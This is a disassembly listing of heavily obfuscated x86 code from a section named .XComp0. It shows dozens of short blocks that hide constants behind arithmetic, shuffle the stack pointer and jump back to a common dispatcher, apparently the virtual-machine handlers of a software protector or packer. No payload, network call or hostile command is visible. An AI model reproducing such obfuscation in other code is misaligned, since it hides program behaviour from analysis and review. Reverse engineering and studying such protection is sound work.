		jmp	loc_5741A2
; ---------------------------------------------------------------------------
		lodsd
		push	edi
		push	ebx
		push	eax
		push	64B80A86h
		pop	eax
		xor	eax, 55FB5656h
		mov	ebx, eax
		pop	eax
		mov	edi, 5FBBB704h
		sub	edi, ebx
		pop	ebx
		jmp	loc_57B01C
; ---------------------------------------------------------------------------


loc_57698B:				; CODE XREF: .XComp0:0057F406j
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 0
		jmp	loc_57E3F2
; ---------------------------------------------------------------------------


loc_576997:				; CODE XREF: .XComp0:00582C4Ej
		mov	esi, 62AF3582h
		shl	esi, 2
		shr	esi, 1
		neg	esi
		push	edi
		mov	edi, 0AC21B43h
		shl	edi, 5
		dec	edi
		jmp	loc_578E64
; ---------------------------------------------------------------------------


loc_5769B2:				; CODE XREF: .XComp0:0057ACF9j
		pop	ecx
		shl	ebx, 2
		sub	esp, 4
		mov	[esp], edi
		push	esi
		mov	esi, 0DBF03BAh
		mov	edi, 62662057h
		sub	edi, esi
		pop	esi
		not	edi
		inc	edi
		push	ebp
		mov	ebp, 5BA429E2h
		xor	edi, ebp
		pop	ebp
		shr	edi, 6
		xor	edi, 2C2B284Dh
		push	edx
		mov	edx, 32AE87DEh
		add	edi, edx
		pop	edx
		jmp	loc_57700E
; ---------------------------------------------------------------------------


loc_5769F0:				; CODE XREF: .XComp0:00577433j
		add	esi, 4156776h
		add	esi, 1B966B96h
		sub	esi, 667378B4h
		shr	esi, 3
		xor	esi, 7FFC6DDFh
		push	edx
		mov	edx, 27B91010h
		jmp	loc_582907
; ---------------------------------------------------------------------------


loc_576A16:				; CODE XREF: .XComp0:0057F836j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5789F0
; ---------------------------------------------------------------------------


loc_576A2B:				; CODE XREF: .XComp0:00578D61j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	ecx
		jmp	loc_575C66
; ---------------------------------------------------------------------------


loc_576A4E:				; CODE XREF: .XComp0:0057534Ej
		xchg	esi, [esp]
		jmp	loc_57E305
; ---------------------------------------------------------------------------


loc_576A56:				; CODE XREF: .XComp0:00583077j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_576A7F:				; CODE XREF: .XComp0:0057FD29j
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 3AB97915h
		and	ebx, 407B0F96h
		jmp	loc_57C873
; ---------------------------------------------------------------------------


loc_576A98:				; CODE XREF: .XComp0:0057BE71j
		pop	ebx
		add	esp, 4
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_576AA4:				; CODE XREF: .XComp0:00574232j
		sub	[esp], al
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_576AAD:				; CODE XREF: .XComp0:00579C7Dj
		push	edi
		push	ecx
		mov	ecx, 6F2310D7h
		xor	ecx, 6AD029CAh
		jmp	loc_57778E
; ---------------------------------------------------------------------------


loc_576ABF:				; CODE XREF: .XComp0:00576E8Fj
		push	1361h
		mov	[esp], ecx
		mov	cl, 86h
		mov	bh, 0EEh
		sub	bh, 32h
		jmp	loc_580291
; ---------------------------------------------------------------------------


loc_576AD3:				; CODE XREF: .XComp0:00573625j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_576171
; ---------------------------------------------------------------------------


loc_576ADE:				; CODE XREF: .XComp0:005804E0j
		mov	ebp, 36086560h
		add	[eax], ebp
		jmp	loc_57D2E3
; ---------------------------------------------------------------------------


loc_576AEA:				; CODE XREF: .XComp0:00582A90j
		add	esp, 2
		push	di
		jmp	loc_57E59D
; ---------------------------------------------------------------------------


loc_576AF4:				; CODE XREF: .XComp0:00576F21j
		mov	[esp], esi
		push	46E625A6h
		pop	esi
		sub	esi, 0FFFFFFFFh
		jmp	loc_58046B
; ---------------------------------------------------------------------------


loc_576B08:				; CODE XREF: .XComp0:005786B9j
		mov	edx, [esp]
		add	esp, 4
		add	al, 0C4h
		mov	bx, [esp]
		add	esp, 2
		xor	bl, al
		jmp	loc_5831CE
; ---------------------------------------------------------------------------


loc_576B21:				; CODE XREF: .XComp0:0057D3F3j
		mov	edx, 60012C5Ah
		jmp	loc_57EFDF
; ---------------------------------------------------------------------------


loc_576B2B:				; CODE XREF: .XComp0:0058330Bj
		sub	cl, 82h
		jmp	loc_578EB3
; ---------------------------------------------------------------------------


loc_576B33:				; CODE XREF: .XComp0:00578B25j
		shl	edx, 4
		add	edx, 30FC3E4h
		add	ebp, edx
		jmp	loc_576873
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_579CD0
; ---------------------------------------------------------------------------


loc_576B4C:				; CODE XREF: .XComp0:00578EC2j
		push	edi
		mov	edi, 691C088Fh
		xor	edi, 331850E1h
		or	edi, 2F5E114Fh
		dec	edi
		or	edi, 33504E33h
		sub	edi, 7F5E5F7Bh
		add	ebx, edi
		pop	edi
		jmp	loc_57583C
; ---------------------------------------------------------------------------


loc_576B73:				; CODE XREF: .XComp0:0057D71Ej
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	eax
		jmp	loc_581D7E
; ---------------------------------------------------------------------------


loc_576B8B:				; CODE XREF: .XComp0:00577931j
		push	dword ptr [esp+4]
		jmp	loc_578B09
; ---------------------------------------------------------------------------


loc_576B94:				; CODE XREF: .XComp0:0058077Bj
		xor	eax, ebx
		push	ebx
		push	59EBh
		jmp	loc_57EEF7
; ---------------------------------------------------------------------------


loc_576BA1:				; CODE XREF: .XComp0:00580305j
		push	cx
		push	269h
		mov	[esp], ebx
		jmp	loc_580AA1
; ---------------------------------------------------------------------------


loc_576BB0:				; CODE XREF: .XComp0:0057E198j
		neg	eax
		push	ebx
		mov	ebx, 31C772A2h
		sub	eax, ebx
		jmp	loc_574725
; ---------------------------------------------------------------------------


loc_576BBF:				; CODE XREF: .XComp0:0058322Aj
		sub	dword ptr [esp+4], 4E6B319Ah
		add	[esp+4], ecx
		push	esi
		mov	esi, 4E6B319Ah
		add	[esp+8], esi
		pop	esi
		pop	ecx
		jmp	loc_58349E
; ---------------------------------------------------------------------------


loc_576BDC:				; CODE XREF: .XComp0:0057BCD2j
		sub	ecx, ebp
		pop	ebp
		xor	esi, ecx
		pop	ecx
		dec	esi
		push	3F60h
		mov	[esp], ebx
		mov	ebx, 7DD0E76h
		or	ebx, 6AC37CB5h
		jmp	loc_57F0AB
; ---------------------------------------------------------------------------


loc_576BFB:				; CODE XREF: .XComp0:0057AA9Bj
		shl	dl, 8
		add	dl, 0AEh
		sub	bl, dl
		jmp	loc_57F4CC
; ---------------------------------------------------------------------------


loc_576C08:				; CODE XREF: .XComp0:00581927j
		add	esp, 4
		jmp	loc_57DE74
; ---------------------------------------------------------------------------


loc_576C13:				; CODE XREF: .XComp0:00577A6Cj
		sub	eax, edx
		jmp	loc_581659
; ---------------------------------------------------------------------------


loc_576C1A:				; CODE XREF: .XComp0:00580239j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_57D9F4
; ---------------------------------------------------------------------------


loc_576C28:				; CODE XREF: .XComp0:005758F1j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_57C084
; ---------------------------------------------------------------------------


loc_576C39:				; CODE XREF: .XComp0:00575287j
		push	ecx
		mov	ecx, 755B0284h
		mov	ebp, 4C3D7036h
		xor	ebp, ecx
		pop	ecx
		jmp	loc_5757CA
; ---------------------------------------------------------------------------


loc_576C4C:				; CODE XREF: .XComp0:00580095j
		sub	eax, 315C7ACAh
		add	eax, edx
		push	ebp
		jmp	loc_57AA73
; ---------------------------------------------------------------------------


loc_576C59:				; CODE XREF: .XComp0:0057AE64j
		mov	edi, 672A7CD9h
		add	[esp+4], edi
		jmp	loc_580EEC
; ---------------------------------------------------------------------------


loc_576C67:				; CODE XREF: .XComp0:00574022j
		pop	eax
		jmp	loc_57B735
; ---------------------------------------------------------------------------


loc_576C6D:				; CODE XREF: .XComp0:00578BA1j
		mov	[esp], edx
		xor	[esp], eax
		jmp	loc_574399
; ---------------------------------------------------------------------------


loc_576C78:				; CODE XREF: .XComp0:0057647Bj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_57DBE2
; ---------------------------------------------------------------------------


loc_576C91:				; CODE XREF: .XComp0:0057E37Aj
		inc	esi
		shr	esi, 8
		or	esi, 27BF23C7h
		dec	esi
		sub	esi, 5EF3BD0Dh
		add	edi, 639372BAh
		add	edi, esi
		jmp	loc_57DBA1
; ---------------------------------------------------------------------------


loc_576CAF:				; CODE XREF: .XComp0:00575E87j
		mov	eax, 8FD28D5h
		or	eax, 727A3962h
		jmp	loc_579871
; ---------------------------------------------------------------------------


loc_576CBE:				; CODE XREF: .XComp0:0057BA1Dj
		or	ebx, 3F516892h
		push	edx
		mov	edx, 40E54D93h
		push	ebp
		mov	ebp, 40F1E4DCh
		jmp	loc_58096C
; ---------------------------------------------------------------------------


loc_576CD5:				; CODE XREF: .XComp0:0057CD0Fj
		push	esp
		pop	ebp
		push	ecx
		mov	ecx, 904124Dh
		jmp	loc_575C2C
; ---------------------------------------------------------------------------


loc_576CE2:				; CODE XREF: .XComp0:0057B14Bj
		cmp	eax, edx
		jz	loc_574A20
		push	76ACh
		mov	[esp], ecx
		mov	ecx, 4ADC1727h
		push	ebp
		mov	ebp, ecx
		jmp	loc_57FBD6
; ---------------------------------------------------------------------------


loc_576CFF:				; CODE XREF: .XComp0:0057DA19j
		add	ebp, eax
		pop	eax
		push	eax
		push	664C1AF5h
		jmp	loc_57761D
; ---------------------------------------------------------------------------


loc_576D0D:				; CODE XREF: .XComp0:005773EFj
		push	edx
		push	4
		pop	edx
		add	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edx
		jmp	loc_57F174
; ---------------------------------------------------------------------------


loc_576D23:				; CODE XREF: .XComp0:0057C7C5j
		sub	eax, 36F01F05h
		sub	eax, 65087B96h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	eax, 2
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_57E23B
; ---------------------------------------------------------------------------


loc_576D4A:				; CODE XREF: .XComp0:00579AC0j
		push	esi
		jmp	loc_57C534
; ---------------------------------------------------------------------------


loc_576D50:				; CODE XREF: .XComp0:0057FC47j
		sub	eax, 7465368h
		pop	edi
		sub	eax, edx
		jmp	loc_57E2E6
; ---------------------------------------------------------------------------


loc_576D5D:				; CODE XREF: .XComp0:00581F42j
		push	50B9h
		jmp	loc_5773EA
; ---------------------------------------------------------------------------


loc_576D67:				; CODE XREF: .XComp0:00579217j
		push	4F46h
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_57E51E
; ---------------------------------------------------------------------------


loc_576D84:				; CODE XREF: .XComp0:0057F524j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5828C1
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	5EDAh
		mov	[esp], esi
		jmp	loc_58211F
; ---------------------------------------------------------------------------


loc_576DA4:				; CODE XREF: .XComp0:00577A49j
		pop	edi
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_57BFEC
; ---------------------------------------------------------------------------


loc_576DB0:				; CODE XREF: .XComp0:00578F0Cj
		not	ch
		jmp	loc_578532
; ---------------------------------------------------------------------------


loc_576DB7:				; CODE XREF: .XComp0:0057A50Dj
		xor	edx, 4932611Ah
		or	edx, 0A4E59D9h
		add	edx, 0F4308627h
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_574F23
; ---------------------------------------------------------------------------


loc_576DDA:				; CODE XREF: .XComp0:00579AF3j
		add	ebp, 57611114h
		mov	eax, ebp
		jmp	loc_5758D3
; ---------------------------------------------------------------------------


loc_576DE7:				; CODE XREF: .XComp0:0057542Aj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_57D90D
; ---------------------------------------------------------------------------


loc_576E0D:				; CODE XREF: .XComp0:005824F1j
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_5834C6
; ---------------------------------------------------------------------------


loc_576E24:				; CODE XREF: .XComp0:0058192Ej
		add	dl, 9
		add	dl, al
		sub	dl, 9
		pop	ax
		add	dl, 0C5h
		sub	al, dl
		mov	edx, [esp]
		push	ebp
		jmp	loc_574F85
; ---------------------------------------------------------------------------


loc_576E3C:				; CODE XREF: .XComp0:0057BCF2j
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		push	4
		pop	ebp
		add	ebx, ebp
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_580BF0
; ---------------------------------------------------------------------------


loc_576E58:				; CODE XREF: .XComp0:0057A049j
		push	edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5826BD
; ---------------------------------------------------------------------------


loc_576E77:				; CODE XREF: .XComp0:0057D272j
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_581A73
; ---------------------------------------------------------------------------


loc_576E85:				; CODE XREF: .XComp0:00573AB7j
		pop	eax
		sub	esp, 4
		jmp	loc_57AE5B
; ---------------------------------------------------------------------------


loc_576E8E:				; CODE XREF: .XComp0:00580F75j
		push	ebx
		jmp	loc_576ABF
; ---------------------------------------------------------------------------


loc_576E94:				; CODE XREF: .XComp0:0057B53Bj
		add	al, 49h
		jmp	loc_581FB2
; ---------------------------------------------------------------------------


loc_576E9B:				; CODE XREF: .XComp0:0057CFE3j
		pop	edi
		mov	eax, ebp
		pop	ebp
		add	[esp+4], eax
		pop	eax
		pop	esi
		jmp	loc_57BBC0
; ---------------------------------------------------------------------------


loc_576EAA:				; CODE XREF: .XComp0:0057EAD5j
		mov	dx, [esp]
		push	77EFh
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		jmp	loc_57A81A
; ---------------------------------------------------------------------------


loc_576EBF:				; CODE XREF: .XComp0:00577ABFj
		xor	[esp], ebx
		jmp	loc_578697
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		push	esp
		pop	edx
		push	eax
		mov	eax, 0D89776Ch
		or	eax, 20522AC9h
		push	394Fh
		mov	[esp], ebx
		mov	ebx, 1B2F10C3h
		and	eax, ebx
		jmp	loc_578282
; ---------------------------------------------------------------------------


loc_576EED:				; CODE XREF: .XComp0:00575389j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	[esp], eax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_576EFC:				; CODE XREF: .XComp0:0057521Dj
		and	edx, ebp
		pop	ebp
		and	edx, 27B125D7h
		sub	edx, 90AC5Dh
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	341Fh
		jmp	loc_576AF4
; ---------------------------------------------------------------------------


loc_576F26:				; CODE XREF: .XComp0:00582A46j
		push	ecx
		mov	ecx, 6E601EB4h
		mov	eax, ecx
		pop	ecx
		sub	edx, eax
		pop	eax
		shl	edx, 4
		shl	edx, 1
		shr	edx, 4
		jmp	loc_57BA22
; ---------------------------------------------------------------------------


loc_576F3F:				; CODE XREF: .XComp0:005782F6j
		add	ebx, ecx
		jmp	loc_583267
; ---------------------------------------------------------------------------


loc_576F46:				; CODE XREF: .XComp0:0057948Cj
		add	edi, 2B2E6718h
		jmp	loc_57E077
; ---------------------------------------------------------------------------


loc_576F51:				; CODE XREF: .XComp0:005799A1j
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, 4
		push	ecx
		mov	ecx, eax
		mov	ebx, ecx
		pop	ecx
		pop	eax
		jmp	loc_5805B2
; ---------------------------------------------------------------------------


loc_576F6C:				; CODE XREF: .XComp0:005772C7j
		push	ebx
		mov	ebx, 2
		add	esi, ebx
		mov	ebx, [esp]
		jmp	loc_57A903
; ---------------------------------------------------------------------------


loc_576F7C:				; CODE XREF: .XComp0:00580894j
		pop	edx
		jmp	loc_579726
; ---------------------------------------------------------------------------


loc_576F82:				; CODE XREF: .XComp0:00579E75j
		push	ecx
		jmp	loc_57A956
; ---------------------------------------------------------------------------


loc_576F88:				; CODE XREF: .XComp0:0057EFD4j
		add	ebp, eax
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		jmp	loc_577111
; ---------------------------------------------------------------------------


loc_576F96:				; CODE XREF: .XComp0:005810F2j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 740234CDh
		and	eax, 74EF0DD5h
		dec	eax
		and	eax, 1ECE01A9h
		sub	eax, 60E246BAh
		sub	eax, 9A0D7689h
		sub	edi, eax
		pop	eax
		xor	edi, 47D04766h
		sub	esi, edi
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_575320
; ---------------------------------------------------------------------------


loc_576FD6:				; CODE XREF: .XComp0:005795F6j
		push	edi
		jmp	loc_5799D2
; ---------------------------------------------------------------------------


loc_576FDC:				; CODE XREF: .XComp0:0057C478j
		push	eax
		mov	eax, 3B4C629Ch
		jmp	loc_582F8B
; ---------------------------------------------------------------------------


loc_576FE7:				; CODE XREF: .XComp0:00578954j
		pop	edx
		sub	esi, 15FD75CAh
		pop	edi
		xchg	esi, [esp]
		pop	esp
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	5D49h
		mov	[esp], edi
		jmp	loc_57833E
; ---------------------------------------------------------------------------


loc_57700E:				; CODE XREF: .XComp0:005769EBj
		and	ebx, edi
		jmp	loc_57B7F6
; ---------------------------------------------------------------------------


loc_577015:				; CODE XREF: .XComp0:0057FB20j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		imul	ecx, eax
		jmp	loc_5782FB
; ---------------------------------------------------------------------------


loc_577026:				; CODE XREF: .XComp0:00581716j
		mov	eax, 612F274Bh
		add	eax, 6625185Bh
		not	eax
		jmp	loc_57815D
; ---------------------------------------------------------------------------


loc_577037:				; CODE XREF: .XComp0:0057450Ej
		xor	esi, 0C4BDC791h
		add	edx, esi
		pop	esi
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	ebp, [esp]
		jmp	loc_579075
; ---------------------------------------------------------------------------


loc_577052:				; CODE XREF: .XComp0:0057C02Dj
		add	eax, esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 18F054EEh
		xchg	ebp, edi
		jmp	loc_578037
; ---------------------------------------------------------------------------


loc_577076:				; CODE XREF: .XComp0:0057E40Dj
		add	edi, 0FFFFFFFFh
		xor	edi, 4F7640FDh
		xor	edi, 146973BFh
		jmp	loc_57D1CC
; ---------------------------------------------------------------------------


loc_57708A:				; CODE XREF: .XComp0:00579EF9j
		sub	ebx, 44291F1Ah
		add	ebx, 6B262D9Bh
		pop	eax
		push	ecx
		mov	ecx, 0
		jmp	loc_57F5D2
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ecx
		jmp	loc_57F2FB
; ---------------------------------------------------------------------------


loc_5770AE:				; CODE XREF: .XComp0:0057D062j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1AF65CDAh
		push	3B75h
		mov	[esp], ecx
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		and	edi, 0F433592h
		sub	edi, 0F908FEAAh
		sub	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_575275
; ---------------------------------------------------------------------------


loc_5770E6:				; CODE XREF: .XComp0:0057E929j
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 71207538h
		not	ebp
		xor	ebp, 8EC06F7h
		jmp	loc_577E09
; ---------------------------------------------------------------------------


loc_577100:				; CODE XREF: .XComp0:0057C3FCj
		add	esp, [edx+38h]
		push	3ADBh
		mov	[esp], edx
		push	esi
		jmp	loc_57EDC9
; ---------------------------------------------------------------------------


loc_577111:				; CODE XREF: .XComp0:00576F91j
		mov	ecx, 66CF2ABBh
		dec	ecx
		push	ebx
		mov	ebx, 6BE66067h
		xor	ecx, ebx
		pop	ebx
		mov	esi, ecx
		pop	ecx
		sub	ebp, esi
		pop	esi
		mov	eax, [esp]
		jmp	loc_57F055
; ---------------------------------------------------------------------------


loc_57712E:				; CODE XREF: .XComp0:0057E402j
		push	ebx
		push	esi
		jmp	loc_580E43
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_577144:				; CODE XREF: .XComp0:0057735Ej
		add	edx, 0B49CCA14h
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 78150C45h
		jmp	loc_57AA4F
; ---------------------------------------------------------------------------


loc_57715D:				; CODE XREF: .XComp0:005775C6j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1
		jmp	loc_5798A1
; ---------------------------------------------------------------------------


loc_577170:				; CODE XREF: .XComp0:0057EDA5j
		mov	[esp], ebx
		mov	ebx, 0D544C0h
		mov	eax, 0DFC6EDC0h
		xor	eax, ebx
		pop	ebx
		add	eax, 40AF1A22h
		add	eax, ebx
		jmp	loc_5815D2
; ---------------------------------------------------------------------------


loc_57718C:				; CODE XREF: .XComp0:0057912Bj
		pop	esp
		jmp	loc_57B2D6
; ---------------------------------------------------------------------------


loc_577192:				; CODE XREF: .XComp0:005771E8j
		add	esp, 4
		jmp	loc_579ABA
; ---------------------------------------------------------------------------


loc_57719A:				; CODE XREF: .XComp0:005785C5j
		mov	eax, 7DC27081h
		sub	eax, 5E15596h
		and	eax, 416C54BEh
		xchg	eax, ebp
		not	ebp
		xchg	eax, ebp
		neg	eax
		push	edx
		mov	edx, 7A4B50DBh
		jmp	loc_58309D
; ---------------------------------------------------------------------------


loc_5771BA:				; CODE XREF: .XComp0:005776E4j
		pop	edx
		neg	esi
		not	esi
		jmp	loc_57CE95
; ---------------------------------------------------------------------------


loc_5771C4:				; CODE XREF: .XComp0:00577C78j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	ecx
		jmp	loc_57D697
; ---------------------------------------------------------------------------


loc_5771DD:				; CODE XREF: .XComp0:00578DB7j
		add	esp, 4
		xor	eax, ebx
		mov	ebx, [esp]
		jmp	loc_577192
; ---------------------------------------------------------------------------


loc_5771ED:				; CODE XREF: .XComp0:00577CDAj
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5771F2:				; CODE XREF: .XComp0:0057E499j
		mov	eax, [esp]
		push	2D1h
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	edi, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		retn
; ---------------------------------------------------------------------------
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_577229:				; CODE XREF: .XComp0:0057E1A0j
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5775F4
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	1234h
		mov	[esp], eax
		mov	eax, esp
		push	4E34h
		mov	[esp], edx
		mov	edx, 4C6103EAh
		jmp	loc_57DD86
; ---------------------------------------------------------------------------


loc_577263:				; CODE XREF: .XComp0:0057E203j
		dec	bh
		jmp	loc_57F90C
; ---------------------------------------------------------------------------


loc_57726A:				; CODE XREF: .XComp0:0057EC2Bj
		sub	dh, 1
		push	edx
		dec	byte ptr [esp+1]
		jmp	loc_579F1D
; ---------------------------------------------------------------------------


loc_577277:				; CODE XREF: .XComp0:0057FF63j
		sub	ecx, esi
		add	ecx, 617F0320h
		mov	esi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 7F8C1359h
		shl	edx, 6
		not	edx
		push	685Bh
		mov	[esp], ebp
		push	esi
		mov	esi, 0E167BA9h
		mov	ebp, esi
		mov	esi, [esp]
		jmp	loc_576461
; ---------------------------------------------------------------------------


loc_5772B1:				; CODE XREF: .XComp0:00579A7Cj
		mov	[esp], ebx
		push	289A1EBBh
		jmp	loc_583557
; ---------------------------------------------------------------------------


loc_5772BE:				; CODE XREF: .XComp0:00581DECj
		add	esi, ebp
		add	esi, 124954A9h
		pop	ebp
		jmp	loc_576F6C
; ---------------------------------------------------------------------------


loc_5772CC:				; CODE XREF: .XComp0:00577B07j
		dec	ebx
		add	ebx, 2E374268h
		jmp	loc_57B05C
; ---------------------------------------------------------------------------


loc_5772D8:				; CODE XREF: .XComp0:0057E675j
		shl	edx, 1
		xor	edx, 0BD401FAh
		jmp	loc_57F438
; ---------------------------------------------------------------------------


loc_5772E5:				; CODE XREF: .XComp0:005794BEj
		sub	esp, 4
		jmp	loc_5736DA
; ---------------------------------------------------------------------------


loc_5772F0:				; CODE XREF: .XComp0:005835F8j
		mov	[esp], eax
		pop	edi
		jmp	loc_57E71F
; ---------------------------------------------------------------------------


loc_5772F9:				; CODE XREF: .XComp0:00575597j
		sub	edi, ebx
		jmp	loc_579A75
; ---------------------------------------------------------------------------


loc_577300:				; CODE XREF: .XComp0:0057DBD5j
		mov	[esp], edi
		mov	edi, 375447A4h
		push	eax
		mov	eax, 407052D3h
		and	eax, 25C96CCFh
		inc	eax
		jmp	loc_581533
; ---------------------------------------------------------------------------
		lodsd
		push	edi
		push	eax
		mov	eax, 6F2D1C8Bh
		or	eax, 47C3777Bh
		xor	eax, 26B073ABh
		inc	eax
		sub	eax, 423162A5h
		jmp	loc_575F80
; ---------------------------------------------------------------------------
		lodsd
		push	ecx
		mov	ecx, 374E325Ah
		add	ecx, 0EC6CD276h
		sub	eax, ecx
		pop	ecx
		push	edx
		mov	edx, 2C231BEh
		add	eax, edx
		pop	edx
		add	eax, ebx
		push	79FDh
		mov	[esp], edx
		mov	edx, 4E2567AAh
		jmp	loc_577144
; ---------------------------------------------------------------------------


loc_577363:				; CODE XREF: .XComp0:005821C0j
		sub	esi, eax
		pop	eax
		push	esi
		add	dword ptr [esp], 25AD51CDh
		jmp	loc_5763FB
; ---------------------------------------------------------------------------


loc_577373:				; CODE XREF: .XComp0:00583098j
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_582E0D
; ---------------------------------------------------------------------------


loc_57738C:				; CODE XREF: .XComp0:00579ACEj
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_57C0B0
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		mov	dl, 0D9h
		or	dl, 0EFh
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		jmp	loc_5796CE
; ---------------------------------------------------------------------------


loc_5773BF:				; CODE XREF: .XComp0:005760AEj
		xor	edx, 5CFB4DA4h
		xor	edx, 5BBD97D5h
		xor	ebp, edx
		pop	edx
		add	ecx, ebp
		pop	ebp
		push	esi
		jmp	loc_5805EB
; ---------------------------------------------------------------------------


loc_5773D7:				; CODE XREF: .XComp0:005818AAj
		mov	ebp, ebx
		pop	ebx
		jmp	loc_576842
; ---------------------------------------------------------------------------


loc_5773DF:				; CODE XREF: .XComp0:00573893j
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5775DD
; ---------------------------------------------------------------------------


loc_5773EA:				; CODE XREF: .XComp0:00576D62j
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_576D0D
; ---------------------------------------------------------------------------


loc_5773F4:				; CODE XREF: .XComp0:0057AE08j
		mov	edi, 4
		jmp	loc_583254
; ---------------------------------------------------------------------------


loc_5773FE:				; CODE XREF: .XComp0:0057CED9j
		mov	ebx, 796D45C6h
		inc	ebx
		neg	ebx
		not	ebx
		jmp	loc_57DCEE
; ---------------------------------------------------------------------------


loc_57740D:				; CODE XREF: .XComp0:0057B095j
		or	eax, eax
		jz	loc_57D434
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		jmp	loc_57BA8F
; ---------------------------------------------------------------------------


loc_577420:				; CODE XREF: .XComp0:0057E072j
		sub	dl, 0D6h
		pop	eax
		and	dl, 0F7h
		jmp	loc_57B150
; ---------------------------------------------------------------------------


loc_57742C:				; CODE XREF: .XComp0:00577DF8j
		push	esi
		push	32CE52D7h
		pop	esi
		jmp	loc_5769F0
; ---------------------------------------------------------------------------


